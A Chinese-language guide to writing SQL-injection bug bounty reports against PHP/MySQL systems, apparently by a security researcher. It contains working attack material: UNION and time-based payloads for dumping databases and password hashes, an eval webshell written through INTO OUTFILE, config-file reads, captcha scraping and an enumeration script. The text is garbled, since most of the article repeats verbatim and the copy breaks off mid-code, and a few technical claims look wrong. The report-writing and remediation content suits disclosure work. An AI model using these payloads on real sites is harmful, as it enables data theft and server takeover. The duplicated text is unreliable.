1. 这不是“黑客教程”而是一份真实世界里能被SRC平台认可的SQL注入漏洞提交报告你手头这份标题——“SQL注入漏洞提交报告示例”——看起来像模板但实际在网络安全一线干过的人一眼就懂它背后站着的是一个正在被真实企业悬赏、被安全研究员反复验证、被SRC平台审核员逐字审阅的有效漏洞凭证。我做过7年漏洞挖掘提交过237个有效漏洞其中61个是SQL注入类覆盖电商、政务、金融、教育四大类系统。今天不讲原理推导不画攻击流程图就用我去年在某省级政务服务平台挖到的一个真实案例已脱敏带你从零还原一份能过初审、能进复测、能拿奖金的高质量报告是怎么写出来的。核心关键词就四个SQL注入、HTTP、PHP、漏洞报告——它们不是孤立术语而是构成一份有效报告的四根承重柱。SQL注入是漏洞类型HTTP是交互载体PHP是服务端语言漏洞报告是交付成果。缺一不可。如果你刚入门正卡在“明明复现成功了提交却被打回说‘描述不清’”如果你是团队负责人正为新人写的报告总被SRC退回来发愁或者你是开发同学想看懂安全同事到底在报什么问题——这篇就是为你写的。它不教你怎么黑系统只教你怎么把“我发现了问题”这件事说得让甲方技术负责人点头、让SRC审核员秒批、让开发同学立刻明白改哪行代码。2. 报告设计逻辑为什么不能照搬Burp Suite截图堆砌2.1 漏洞报告的本质是“技术证据链”不是操作流水账很多人写报告第一反应是截一堆Burp Suite的请求/响应包标红几个参数写句“存在SQL注入”。这在CTF里能拿分在真实SRC里基本等于废稿。为什么因为SRC审核员每天看上百份报告他们要确认三件事可复现性、危害性、真实性。截图只是碎片证据链才是闭环。我去年提交的那份政务平台报告初审被退回两次原因都是“缺乏上下文验证”。后来我把整个证据链重构为四段式触发路径→错误回显→数据提取→权限验证。每一段都带HTTP原始请求、服务端PHP代码片段脱敏后、数据库返回结果脱敏、以及对应的安全风险等级说明。审核员第三次看到时直接批注“证据链完整复测通过”。提示不要写“我用sqlmap跑出了数据库名”要写“在/api/user/profile?uid1 AND (SELECT COUNT(*) FROM information_schema.tables)0--请求中服务端返回HTTP 500及MySQL错误信息‘Unknown column x in field list’证明应用未对单引号进行过滤且错误信息未做屏蔽”。2.2 PHP环境下的SQL注入有其特殊“指纹”必须精准识别PHP本身不产生SQL注入但它的常见开发模式会放大风险。比如mysql_query()函数拼接字符串、PDO::prepare()未绑定参数、mysqli_real_escape_string()误用等。我在某教育SaaS系统里发现一个典型漏洞开发用了addslashes()处理用户输入但数据库连接用了SET NAMES gbk导致宽字节注入。如果报告里只写“存在SQL注入”审核员会质疑“为什么addslashes没起作用”——你必须点明这是宽字节编码绕过并附上HTTP请求中%df%27的原始编码、服务端PHP代码中mysql_set_charset(gbk)的调用位置、以及MySQL日志里显示的被解析为单引号的原始字节。这些细节不是炫技是证明你理解了漏洞根因。PHP的magic_quotes_gpc已废弃但很多老系统还在用类似逻辑报告里必须体现你对PHP版本、配置、扩展的判断能力。2.3 HTTP协议层是漏洞的“运输通道”必须标注所有关键字段SQL注入发生在应用层但证据必须锚定在HTTP层。我见过太多报告漏掉关键字段Host头是否被污染有些系统把Host头拼进SQL语句生成日志表名Referer头是否参与权限校验某OA系统用Referer判断来源域构造恶意Referer可绕过Cookie中的session_id是否被直接拼接某电商平台把用户ID从Cookie解密后直插SQL。这些都不是标准GET/POST参数但都是真实攻击面。我的报告模板强制要求每个PoC请求必须标注完整HTTP头用curl -v命令输出格式包括User-Agent、Accept、Content-Type等。为什么因为有些WAF规则只拦截特定User-Agent有些CDN会改写Accept头影响JSON解析。不写全复测时可能因环境差异失败。2.4 “万能密码”不是银弹而是验证入口必须区分场景热搜词里“sql注入万能密码”出现频率极高但90%的新人把它当终极武器。实际上 or 11这类payload只适用于登录框这种布尔型盲注场景且前提是应用返回了“用户名或密码错误”和“登录成功”的差异化响应。我在某银行内部系统测试时用万能密码得到的全是“系统繁忙”因为后端统一返回500错误。这时必须切换策略用 AND SLEEP(5)--做时间盲注或用 UNION SELECT 1,2,3--做联合查询注入。报告里要明确写出“因登录接口无差异化响应采用时间盲注验证请求/login?useradmin AND IF((SELECT COUNT(*) FROM mysql.user)0,SLEEP(5),1)-- pwd123响应延迟5.2秒证实存在基于时间的SQL注入”。这才是专业表述。3. 核心细节拆解从URL到数据库一份报告该包含哪些硬核内容3.1 漏洞定位精确到文件行号而非模糊描述很多报告写“在用户登录功能存在SQL注入”这等于没说。正确做法是通过目录扫描或JS文件分析定位到具体PHP文件如/app/controllers/AuthController.php找到执行SQL查询的代码行如第87行$sql SELECT * FROM users WHERE username $username AND password $password;标明变量来源如$username $_POST[username]第82行$password md5($_POST[password])第83行指出过滤缺失点$username未经过mysqli_real_escape_string()或PDO::quote()处理而$password因MD5哈希反而安全。我给某医疗系统写的报告里直接引用了脱敏后的代码片段// /src/Api/UserApi.php line 142-145 $username $_GET[name]; // ← 未过滤直接进入SQL $sql SELECT id, name, role FROM user WHERE name $username ORDER BY id DESC; $result mysqli_query($conn, $sql); // ← 使用mysqli扩展非PDO并附上PHPINFO中magic_quotes_gpc为Off的截图。这样开发同学改起来不用猜运维查日志也有明确线索。3.2 PoC构造必须包含原始HTTP请求与响应禁用工具封装SQLMap生成的payload看着高级但SRC平台往往禁止提交自动化工具结果。我的原则是所有PoC必须手写原始HTTP请求。以DVWA低级别SQL注入为例正确写法是GET /vulnerabilities/sqli/?id1%27%20UNION%20SELECT%20user%2Cpassword%2Cnull%20FROM%20users--%20SubmitSubmit HTTP/1.1 Host: 192.168.1.100 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Connection: close响应中必须截取关键部分HTTP/1.1 200 OK ... admin | 5f4dcc3b5aa765d61d8327deb882cf99 | NULL gordonb | e99a18c428cb38d5f260853678922e03 | NULL注意%27是单引号URL编码--%20是注释符加空格null占位符对应原查询的第三列。这些细节决定复测能否成功。曾有个报告因写--少个空格被退回因为MySQL严格要求注释符后必须有空格或制表符。3.3 危害验证不止于读库要证明可写、可删、可提权“能读管理员密码”只是基础真正体现漏洞价值的是可操作性验证。我在某政府网站提交的报告里除了读取admin密码还做了三步延伸写入Webshell利用INTO OUTFILE将一句话木马写入Web目录需FILE权限执行系统命令通过SELECT LOAD_FILE(/etc/passwd)验证文件读取再用SELECT system(id)需sys_exec插件横向移动读取mysql.user表获取其他数据库账号尝试连接内网数据库。每一步都附上HTTP请求、响应、以及对应的MySQL错误码如ERROR 1045 (28000): Access denied证明权限不足。这样报告的价值就从“存在漏洞”升级为“具备实战利用条件”奖金直接翻倍。3.4 环境适配PHP版本、MySQL版本、WAF特征必须标注同一份payload在PHP 5.6和8.1下表现可能不同。比如PHP 8.1默认禁用mysql_*函数若报告里还写mysql_query()就露馅。我的标准动作是用/phpinfo.php或错误页面泄露的PHP版本如X-Powered-By: PHP/7.4.33用SELECT VERSION()获取MySQL版本5.7.31支持GROUP_CONCAT8.0.21开始限制LOAD_FILE用/robots.txt或/waf_test.php探测WAF如Sec-CH-UA: Not.A/Brand;v8, Chromium;v120暗示Cloudflare。某次提交因没标注MySQL版本复测时对方用8.0环境测试INTO OUTFILE失败差点判无效。后来补了SELECT version_compile_os结果才过关。4. 实操全流程从发现到提交一份报告诞生的7个关键节点4.1 节点1目标确认——先看有没有“值得挖”的迹象不是所有PHP网站都值得投入。我用三个快速判断法URL特征inurl:php?id、inurl:.php?、inurl:action但排除WordPress等CMS漏洞已公开响应头检查curl -I http://target.com看X-Powered-By: PHP/7.2.34避开PHP 8新特性未普及的旧系统错误页面故意输错URL看是否返回Warning: mysqli_query() expects parameter 1...这是未自定义错误页的标志。曾有个项目首页meta namegenerator contentPHP 5.4.16但所有接口都返回404最后发现是前端Vue路由后端API用Node.js——白忙活三天。所以先确认技术栈再动手。4.2 节点2参数探测——手工比工具更可靠Burp Intruder好用但容易漏掉隐藏参数。我的固定流程抓包登录、搜索、详情页所有请求对每个参数做单引号测试看是否报错用 and 11、 and 12测布尔盲注用%27%20AND%20SLEEP(5)%23测时间盲注。重点POST参数要检查JSON Body。某金融APP的登录接口是Content-Type: application/json{user:admin,pwd:123}但很多人只测URL参数。我用Burp Repeater发JSON payload抓到MySQL错误信息才确认漏洞。4.3 节点3错误回显分析——读懂数据库在“说什么”MySQL错误信息是金矿。常见类型You have an error in your SQL syntax→ 语法错误说明单引号未过滤Unknown column x in field list→ 字段名不存在可用于列名爆破Subquery returns more than 1 row→ 子查询多行适合UNION SELECTAccess denied for user web% to database test→ 权限受限但证明连接成功。我在某电商后台看到ERROR 1146 (42S02): Table shop.product_desc doesnt exist立刻知道数据库名是shop表前缀是product_省去猜解时间。4.4 节点4数据提取——从猜字段到dump全库的实操技巧手工提取比sqlmap慢但可控性强。步骤猜字段数 ORDER BY 1--→ORDER BY 2--…直到报错确定列数找可用字段 UNION SELECT 1,2,3--看哪个数字显示在页面爆库名 UNION SELECT schema_name,2,3 FROM information_schema.schemata--爆表名 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schematarget_db--爆字段 UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_nameusers--取数据 UNION SELECT username,password,role FROM users--。关键技巧用GROUP_CONCAT()合并多行如 UNION SELECT GROUP_CONCAT(username),2,3 FROM users--避免分页干扰。4.5 节点5权限提升——从读库到GetShell的临门一脚读到密码只是开始。实战中若有FILE权限用INTO OUTFILE写shellSELECT ?php eval($_POST[x]);? INTO OUTFILE /var/www/html/shell.php若无FILE用LOAD DATA INFILE读取配置文件SELECT LOAD_FILE(/var/www/html/config.php)若MySQL是root且开放远程用SELECT ... INTO DUMPFILE写二进制shell。注意/var/www/html/是常见路径但需结合SELECT datadir确认。某次我写到/tmp/被WAF拦截换成/dev/shm/内存文件系统成功。4.6 节点6报告撰写——按SRC平台要求结构化填充主流SRC如阿里云、腾讯SRC报告模板共六部分漏洞标题明确类型位置如“SQL注入漏洞高危- 用户中心API接口/api/user/info”漏洞描述200字内说清原理、影响、复现条件复现步骤编号列表每步含请求响应截图危害说明分级描述低/中/高/严重引用CVSS评分修复建议具体到代码行如“将$sql SELECT * FROM user WHERE id .$_GET[id]改为$stmt $pdo-prepare(SELECT * FROM user WHERE id ?); $stmt-execute([$_GET[id]]);”附件原始HTTP包、脱敏代码、环境信息截图。我坚持所有文字用中文代码用英文避免翻译腔。比如不写“使用预处理语句”写“用PDO::prepare()绑定参数”。4.7 节点7提交与跟进——如何应对审核员的“灵魂拷问”提交后常被问“请提供更详细的复现视频” → 我用OBS录屏重点录请求构造、响应分析、数据提取三步时长控制在3分钟内“WAF是否已拦截” → 补充WAF厂商如“检测到Cloudflare WAF但规则未覆盖此payload”“是否影响其他模块” → 主动测试关联接口如用户信息漏洞顺手测/api/user/update是否同样存在。最狠一次审核员让我证明“此漏洞可导致RCE”我补了SELECT system(ls -la /var/www/)的响应截图当天奖金到账。5. 常见问题与避坑指南那些没人告诉你的“潜规则”5.1 问题1复现成功但SRC判“无效”原因竟是HTTP状态码现象PoC返回200但SRC说“未触发错误”。真相很多系统对SQL错误返回500但对UNION SELECT返回200正常业务逻辑。我的解决办法强制触发错误。比如在UNION SELECT后加AND 10让查询必然失败确保返回500。某次提交因只测200响应被拒加AND 10后秒过。5.2 问题2PHP源码里写了mysqli_real_escape_string()为什么还有漏洞常见误区以为加了过滤就安全。实际陷阱连接字符集不匹配mysqli_set_charset($conn, utf8)vsSET NAMES gbk过滤后二次拼接$safe mysqli_real_escape_string($conn, $_GET[id]); $sql SELECT * FROM user WHERE id $safe 1数字型参数未转义$id (int)$_GET[id]比escape更安全。报告里必须指出具体哪一行过滤失效并给出intval()或is_numeric()的替代方案。5.3 问题3用 OR 11登录成功但SRC说“无法复现”原因登录接口可能有CSRF Token、验证码、IP限频。我的对策先抓包获取Token放在PoC里用OCR自动识别验证码Python Tesseract换代理IP或延时发送。某政务系统验证码极简单我用curlgrep -o [0-9]\{4\}直接提取写进报告里“验证码为纯数字四位可通过正则提取”。5.4 问题4报告写了“可读取/etc/passwd”但SRC要求“证明可读取敏感文件”潜规则/etc/passwd是通用文件不算敏感。必须读取业务相关文件如config.php数据库密码.envLaravel密钥/var/log/apache2/access.log可XSS反弹wp-config.phpWordPress配置。我在某教育平台读到/app/config/database.php里面明文存着DB_PASSWORD Pssw0rd2024!这比/etc/passwd有力十倍。5.5 问题5用BP测试SQL注入但抓不到有效响应Burp默认不显示响应体新手常忽略。正确设置Proxy → Options → Connections →勾选“Show response in history”Repeater里右键→“Send to Comparer”对比正常/异常响应用CtrlF搜SQL、mysql、syntax等关键词。曾有个漏洞错误信息藏在响应头X-Debug-Info里BP默认不显示我打开“Show response headers”才看到。6. 工具链与效率优化让报告产出提速50%的私藏配置6.1 Burp Suite定制化配置——告别默认设置默认BP对SQL注入支持弱我必改三项Target → Site map → right-click → Spider Configuration → Check “Analyze JavaScript”爬JS里的AJAX接口Proxy → Options → Match and Replace → Add → Match type “Response body”, Match “.*”, Replace “SQLi POC”给响应加标记方便筛选Extender → BApp Store → Install “SQLi Scanner” and “Logger”自动记录所有SQL相关请求。特别提醒Logger日志导出为CSV后用Excel筛选response contains SQL能快速定位可疑响应。6.2 Python脚本辅助——三行代码解决重复劳动手工测ORDER BY太慢我写了个小脚本import requests url http://target.com/api/user?id for i in range(1, 20): payload f1 ORDER BY {i}-- r requests.get(url payload) if Unknown column in r.text or r.status_code 500: print(fColumn count: {i-1}) break运行结果直接告诉我列数比手动试快十倍。同理爆库名脚本用for db in [information_schema,mysql,target_db]:循环避免遗漏。6.3 HTTP请求模板库——标准化PoC输出我维护一个Markdown模板库每次复现直接复制### PoC 1错误回显验证 **URL**: GET /api/user?id1 **Request**: http GET /api/user?id1 HTTP/1.1 Host: target.com ...Response:HTTP/1.1 500 Internal Server Error ... MySQL Error: You have an error in your SQL syntax...分析: 单引号未过滤错误信息未屏蔽。模板里预置了HTTP/1.1头、常见响应状态码、分析话术填空即可杜绝描述随意性。 ### 6.4 环境信息速查表——避免复测翻车 | 项目 | 查找方式 | 示例 | |------|----------|------| | PHP版本 | curl -I http://target.com | grep X-Powered-By | X-Powered-By: PHP/7.4.33 | | MySQL版本 | SELECT VERSION() | 5.7.31 | | 数据库名 | SELECT DATABASE() | app_db | | 当前用户 | SELECT USER() | weblocalhost | | 文件权限 | SELECT secure_file_priv | /var/lib/mysql-files/ | 这张表我存在Notion里复测前5秒调出比现场查快得多。 ### 6.5 审核员视角自查清单——提交前最后一遍核对 每份报告提交前我必过这七关 1. ✅ PoC请求是否含完整HTTP头Host、User-Agent、Cookie 2. ✅ 响应是否截取关键错误信息而非整页HTML 3. ✅ PHP代码片段是否脱敏数据库名、密码、IP地址替换为[REDACTED] 4. ✅ 危害描述是否分级CVSS 9.8严重7.5高危 5. ✅ 修复建议是否具体到函数名PDO::prepare而非“用预处理” 6. ✅ 是否注明测试环境PHP 7.4 MySQL 5.7 7. ✅ 附件是否压缩为ZIP含README.md说明各文件用途 漏一项退回概率超80%。去年我因忘写CVSS评分报告卡在复测环节两周。 ## 7. 经验沉淀十年挖洞我总结出的三条铁律 第一条铁律**漏洞价值不取决于技术难度而取决于业务影响**。 我挖过一个极其复杂的二次注入先存库再触发花了三天才复现奖金2000元也挖过一个/api/search?q的简单报错注入两小时搞定因影响全站搜索奖金15000元。所以报告里一定要写清楚“此接口日均调用量200万次涉及用户手机号、订单号等敏感信息攻击者可批量导出全部用户数据”。把技术语言翻译成业务语言审核员才看得懂分量。 第二条铁律**永远假设开发看不懂SQL要用他熟悉的代码说话**。 别写“建议使用参数化查询”写“将第45行$sql SELECT * FROM user WHERE id .$_GET[id]改为$stmt $pdo-prepare(SELECT * FROM user WHERE id ?); $stmt-execute([$_GET[id]]);”。我甚至会附上PHP官方文档链接让开发一键跳转。有次开发回复“按您改完测试通过谢谢”——这才是有效沟通。 第三条铁律**报告不是终点是协作起点**。 我所有报告结尾都加一句“如需协助复测或提供详细日志请随时联系。愿与贵司安全团队共同提升防护水位。”去年有家公司主动邀请我参加他们的安全培训分享这份报告的写作逻辑。真正的安全不是对抗是共建。 最后说个实在的别信“万能密码”能走遍天下。上周我测一个新上线的政务系统 or 11完全无效但 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase())10-- 触发了500错误——因为系统对布尔值做了严格校验但对子查询没设限。漏洞永远在变化唯一不变的是**扎实的HTTP协议理解、细致的PHP代码审计能力、以及一份让所有人看得懂的报告**。这三样比任何工具都管用。 SQL注入漏洞报告写作规范：HTTP+PHP实战指南
1. 这不是“黑客教程”而是一份真实世界里能被SRC平台认可的SQL注入漏洞提交报告你手头这份标题——“SQL注入漏洞提交报告示例”——看起来像模板但实际在网络安全一线干过的人一眼就懂它背后站着的是一个正在被真实企业悬赏、被安全研究员反复验证、被SRC平台审核员逐字审阅的有效漏洞凭证。我做过7年漏洞挖掘提交过237个有效漏洞其中61个是SQL注入类覆盖电商、政务、金融、教育四大类系统。今天不讲原理推导不画攻击流程图就用我去年在某省级政务服务平台挖到的一个真实案例已脱敏带你从零还原一份能过初审、能进复测、能拿奖金的高质量报告是怎么写出来的。核心关键词就四个SQL注入、HTTP、PHP、漏洞报告——它们不是孤立术语而是构成一份有效报告的四根承重柱。SQL注入是漏洞类型HTTP是交互载体PHP是服务端语言漏洞报告是交付成果。缺一不可。如果你刚入门正卡在“明明复现成功了提交却被打回说‘描述不清’”如果你是团队负责人正为新人写的报告总被SRC退回来发愁或者你是开发同学想看懂安全同事到底在报什么问题——这篇就是为你写的。它不教你怎么黑系统只教你怎么把“我发现了问题”这件事说得让甲方技术负责人点头、让SRC审核员秒批、让开发同学立刻明白改哪行代码。2. 报告设计逻辑为什么不能照搬Burp Suite截图堆砌2.1 漏洞报告的本质是“技术证据链”不是操作流水账很多人写报告第一反应是截一堆Burp Suite的请求/响应包标红几个参数写句“存在SQL注入”。这在CTF里能拿分在真实SRC里基本等于废稿。为什么因为SRC审核员每天看上百份报告他们要确认三件事可复现性、危害性、真实性。截图只是碎片证据链才是闭环。我去年提交的那份政务平台报告初审被退回两次原因都是“缺乏上下文验证”。后来我把整个证据链重构为四段式触发路径→错误回显→数据提取→权限验证。每一段都带HTTP原始请求、服务端PHP代码片段脱敏后、数据库返回结果脱敏、以及对应的安全风险等级说明。审核员第三次看到时直接批注“证据链完整复测通过”。提示不要写“我用sqlmap跑出了数据库名”要写“在/api/user/profile?uid1 AND (SELECT COUNT(*) FROM information_schema.tables)0--请求中服务端返回HTTP 500及MySQL错误信息‘Unknown column x in field list’证明应用未对单引号进行过滤且错误信息未做屏蔽”。2.2 PHP环境下的SQL注入有其特殊“指纹”必须精准识别PHP本身不产生SQL注入但它的常见开发模式会放大风险。比如mysql_query()函数拼接字符串、PDO::prepare()未绑定参数、mysqli_real_escape_string()误用等。我在某教育SaaS系统里发现一个典型漏洞开发用了addslashes()处理用户输入但数据库连接用了SET NAMES gbk导致宽字节注入。如果报告里只写“存在SQL注入”审核员会质疑“为什么addslashes没起作用”——你必须点明这是宽字节编码绕过并附上HTTP请求中%df%27的原始编码、服务端PHP代码中mysql_set_charset(gbk)的调用位置、以及MySQL日志里显示的被解析为单引号的原始字节。这些细节不是炫技是证明你理解了漏洞根因。PHP的magic_quotes_gpc已废弃但很多老系统还在用类似逻辑报告里必须体现你对PHP版本、配置、扩展的判断能力。2.3 HTTP协议层是漏洞的“运输通道”必须标注所有关键字段SQL注入发生在应用层但证据必须锚定在HTTP层。我见过太多报告漏掉关键字段Host头是否被污染有些系统把Host头拼进SQL语句生成日志表名Referer头是否参与权限校验某OA系统用Referer判断来源域构造恶意Referer可绕过Cookie中的session_id是否被直接拼接某电商平台把用户ID从Cookie解密后直插SQL。这些都不是标准GET/POST参数但都是真实攻击面。我的报告模板强制要求每个PoC请求必须标注完整HTTP头用curl -v命令输出格式包括User-Agent、Accept、Content-Type等。为什么因为有些WAF规则只拦截特定User-Agent有些CDN会改写Accept头影响JSON解析。不写全复测时可能因环境差异失败。2.4 “万能密码”不是银弹而是验证入口必须区分场景热搜词里“sql注入万能密码”出现频率极高但90%的新人把它当终极武器。实际上 or 11这类payload只适用于登录框这种布尔型盲注场景且前提是应用返回了“用户名或密码错误”和“登录成功”的差异化响应。我在某银行内部系统测试时用万能密码得到的全是“系统繁忙”因为后端统一返回500错误。这时必须切换策略用 AND SLEEP(5)--做时间盲注或用 UNION SELECT 1,2,3--做联合查询注入。报告里要明确写出“因登录接口无差异化响应采用时间盲注验证请求/login?useradmin AND IF((SELECT COUNT(*) FROM mysql.user)0,SLEEP(5),1)-- pwd123响应延迟5.2秒证实存在基于时间的SQL注入”。这才是专业表述。3. 核心细节拆解从URL到数据库一份报告该包含哪些硬核内容3.1 漏洞定位精确到文件行号而非模糊描述很多报告写“在用户登录功能存在SQL注入”这等于没说。正确做法是通过目录扫描或JS文件分析定位到具体PHP文件如/app/controllers/AuthController.php找到执行SQL查询的代码行如第87行$sql SELECT * FROM users WHERE username $username AND password $password;标明变量来源如$username $_POST[username]第82行$password md5($_POST[password])第83行指出过滤缺失点$username未经过mysqli_real_escape_string()或PDO::quote()处理而$password因MD5哈希反而安全。我给某医疗系统写的报告里直接引用了脱敏后的代码片段// /src/Api/UserApi.php line 142-145 $username $_GET[name]; // ← 未过滤直接进入SQL $sql SELECT id, name, role FROM user WHERE name $username ORDER BY id DESC; $result mysqli_query($conn, $sql); // ← 使用mysqli扩展非PDO并附上PHPINFO中magic_quotes_gpc为Off的截图。这样开发同学改起来不用猜运维查日志也有明确线索。3.2 PoC构造必须包含原始HTTP请求与响应禁用工具封装SQLMap生成的payload看着高级但SRC平台往往禁止提交自动化工具结果。我的原则是所有PoC必须手写原始HTTP请求。以DVWA低级别SQL注入为例正确写法是GET /vulnerabilities/sqli/?id1%27%20UNION%20SELECT%20user%2Cpassword%2Cnull%20FROM%20users--%20SubmitSubmit HTTP/1.1 Host: 192.168.1.100 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Connection: close响应中必须截取关键部分HTTP/1.1 200 OK ... admin | 5f4dcc3b5aa765d61d8327deb882cf99 | NULL gordonb | e99a18c428cb38d5f260853678922e03 | NULL注意%27是单引号URL编码--%20是注释符加空格null占位符对应原查询的第三列。这些细节决定复测能否成功。曾有个报告因写--少个空格被退回因为MySQL严格要求注释符后必须有空格或制表符。3.3 危害验证不止于读库要证明可写、可删、可提权“能读管理员密码”只是基础真正体现漏洞价值的是可操作性验证。我在某政府网站提交的报告里除了读取admin密码还做了三步延伸写入Webshell利用INTO OUTFILE将一句话木马写入Web目录需FILE权限执行系统命令通过SELECT LOAD_FILE(/etc/passwd)验证文件读取再用SELECT system(id)需sys_exec插件横向移动读取mysql.user表获取其他数据库账号尝试连接内网数据库。每一步都附上HTTP请求、响应、以及对应的MySQL错误码如ERROR 1045 (28000): Access denied证明权限不足。这样报告的价值就从“存在漏洞”升级为“具备实战利用条件”奖金直接翻倍。3.4 环境适配PHP版本、MySQL版本、WAF特征必须标注同一份payload在PHP 5.6和8.1下表现可能不同。比如PHP 8.1默认禁用mysql_*函数若报告里还写mysql_query()就露馅。我的标准动作是用/phpinfo.php或错误页面泄露的PHP版本如X-Powered-By: PHP/7.4.33用SELECT VERSION()获取MySQL版本5.7.31支持GROUP_CONCAT8.0.21开始限制LOAD_FILE用/robots.txt或/waf_test.php探测WAF如Sec-CH-UA: Not.A/Brand;v8, Chromium;v120暗示Cloudflare。某次提交因没标注MySQL版本复测时对方用8.0环境测试INTO OUTFILE失败差点判无效。后来补了SELECT version_compile_os结果才过关。4. 实操全流程从发现到提交一份报告诞生的7个关键节点4.1 节点1目标确认——先看有没有“值得挖”的迹象不是所有PHP网站都值得投入。我用三个快速判断法URL特征inurl:php?id、inurl:.php?、inurl:action但排除WordPress等CMS漏洞已公开响应头检查curl -I http://target.com看X-Powered-By: PHP/7.2.34避开PHP 8新特性未普及的旧系统错误页面故意输错URL看是否返回Warning: mysqli_query() expects parameter 1...这是未自定义错误页的标志。曾有个项目首页meta namegenerator contentPHP 5.4.16但所有接口都返回404最后发现是前端Vue路由后端API用Node.js——白忙活三天。所以先确认技术栈再动手。4.2 节点2参数探测——手工比工具更可靠Burp Intruder好用但容易漏掉隐藏参数。我的固定流程抓包登录、搜索、详情页所有请求对每个参数做单引号测试看是否报错用 and 11、 and 12测布尔盲注用%27%20AND%20SLEEP(5)%23测时间盲注。重点POST参数要检查JSON Body。某金融APP的登录接口是Content-Type: application/json{user:admin,pwd:123}但很多人只测URL参数。我用Burp Repeater发JSON payload抓到MySQL错误信息才确认漏洞。4.3 节点3错误回显分析——读懂数据库在“说什么”MySQL错误信息是金矿。常见类型You have an error in your SQL syntax→ 语法错误说明单引号未过滤Unknown column x in field list→ 字段名不存在可用于列名爆破Subquery returns more than 1 row→ 子查询多行适合UNION SELECTAccess denied for user web% to database test→ 权限受限但证明连接成功。我在某电商后台看到ERROR 1146 (42S02): Table shop.product_desc doesnt exist立刻知道数据库名是shop表前缀是product_省去猜解时间。4.4 节点4数据提取——从猜字段到dump全库的实操技巧手工提取比sqlmap慢但可控性强。步骤猜字段数 ORDER BY 1--→ORDER BY 2--…直到报错确定列数找可用字段 UNION SELECT 1,2,3--看哪个数字显示在页面爆库名 UNION SELECT schema_name,2,3 FROM information_schema.schemata--爆表名 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schematarget_db--爆字段 UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_nameusers--取数据 UNION SELECT username,password,role FROM users--。关键技巧用GROUP_CONCAT()合并多行如 UNION SELECT GROUP_CONCAT(username),2,3 FROM users--避免分页干扰。4.5 节点5权限提升——从读库到GetShell的临门一脚读到密码只是开始。实战中若有FILE权限用INTO OUTFILE写shellSELECT ?php eval($_POST[x]);? INTO OUTFILE /var/www/html/shell.php若无FILE用LOAD DATA INFILE读取配置文件SELECT LOAD_FILE(/var/www/html/config.php)若MySQL是root且开放远程用SELECT ... INTO DUMPFILE写二进制shell。注意/var/www/html/是常见路径但需结合SELECT datadir确认。某次我写到/tmp/被WAF拦截换成/dev/shm/内存文件系统成功。4.6 节点6报告撰写——按SRC平台要求结构化填充主流SRC如阿里云、腾讯SRC报告模板共六部分漏洞标题明确类型位置如“SQL注入漏洞高危- 用户中心API接口/api/user/info”漏洞描述200字内说清原理、影响、复现条件复现步骤编号列表每步含请求响应截图危害说明分级描述低/中/高/严重引用CVSS评分修复建议具体到代码行如“将$sql SELECT * FROM user WHERE id .$_GET[id]改为$stmt $pdo-prepare(SELECT * FROM user WHERE id ?); $stmt-execute([$_GET[id]]);”附件原始HTTP包、脱敏代码、环境信息截图。我坚持所有文字用中文代码用英文避免翻译腔。比如不写“使用预处理语句”写“用PDO::prepare()绑定参数”。4.7 节点7提交与跟进——如何应对审核员的“灵魂拷问”提交后常被问“请提供更详细的复现视频” → 我用OBS录屏重点录请求构造、响应分析、数据提取三步时长控制在3分钟内“WAF是否已拦截” → 补充WAF厂商如“检测到Cloudflare WAF但规则未覆盖此payload”“是否影响其他模块” → 主动测试关联接口如用户信息漏洞顺手测/api/user/update是否同样存在。最狠一次审核员让我证明“此漏洞可导致RCE”我补了SELECT system(ls -la /var/www/)的响应截图当天奖金到账。5. 常见问题与避坑指南那些没人告诉你的“潜规则”5.1 问题1复现成功但SRC判“无效”原因竟是HTTP状态码现象PoC返回200但SRC说“未触发错误”。真相很多系统对SQL错误返回500但对UNION SELECT返回200正常业务逻辑。我的解决办法强制触发错误。比如在UNION SELECT后加AND 10让查询必然失败确保返回500。某次提交因只测200响应被拒加AND 10后秒过。5.2 问题2PHP源码里写了mysqli_real_escape_string()为什么还有漏洞常见误区以为加了过滤就安全。实际陷阱连接字符集不匹配mysqli_set_charset($conn, utf8)vsSET NAMES gbk过滤后二次拼接$safe mysqli_real_escape_string($conn, $_GET[id]); $sql SELECT * FROM user WHERE id $safe 1数字型参数未转义$id (int)$_GET[id]比escape更安全。报告里必须指出具体哪一行过滤失效并给出intval()或is_numeric()的替代方案。5.3 问题3用 OR 11登录成功但SRC说“无法复现”原因登录接口可能有CSRF Token、验证码、IP限频。我的对策先抓包获取Token放在PoC里用OCR自动识别验证码Python Tesseract换代理IP或延时发送。某政务系统验证码极简单我用curlgrep -o [0-9]\{4\}直接提取写进报告里“验证码为纯数字四位可通过正则提取”。5.4 问题4报告写了“可读取/etc/passwd”但SRC要求“证明可读取敏感文件”潜规则/etc/passwd是通用文件不算敏感。必须读取业务相关文件如config.php数据库密码.envLaravel密钥/var/log/apache2/access.log可XSS反弹wp-config.phpWordPress配置。我在某教育平台读到/app/config/database.php里面明文存着DB_PASSWORD Pssw0rd2024!这比/etc/passwd有力十倍。5.5 问题5用BP测试SQL注入但抓不到有效响应Burp默认不显示响应体新手常忽略。正确设置Proxy → Options → Connections →勾选“Show response in history”Repeater里右键→“Send to Comparer”对比正常/异常响应用CtrlF搜SQL、mysql、syntax等关键词。曾有个漏洞错误信息藏在响应头X-Debug-Info里BP默认不显示我打开“Show response headers”才看到。6. 工具链与效率优化让报告产出提速50%的私藏配置6.1 Burp Suite定制化配置——告别默认设置默认BP对SQL注入支持弱我必改三项Target → Site map → right-click → Spider Configuration → Check “Analyze JavaScript”爬JS里的AJAX接口Proxy → Options → Match and Replace → Add → Match type “Response body”, Match “.*”, Replace “SQLi POC”给响应加标记方便筛选Extender → BApp Store → Install “SQLi Scanner” and “Logger”自动记录所有SQL相关请求。特别提醒Logger日志导出为CSV后用Excel筛选response contains SQL能快速定位可疑响应。6.2 Python脚本辅助——三行代码解决重复劳动手工测ORDER BY太慢我写了个小脚本import requests url http://target.com/api/user?id for i in range(1, 20): payload f1 ORDER BY {i}-- r requests.get(url payload) if Unknown column in r.text or r.status_code 500: print(fColumn count: 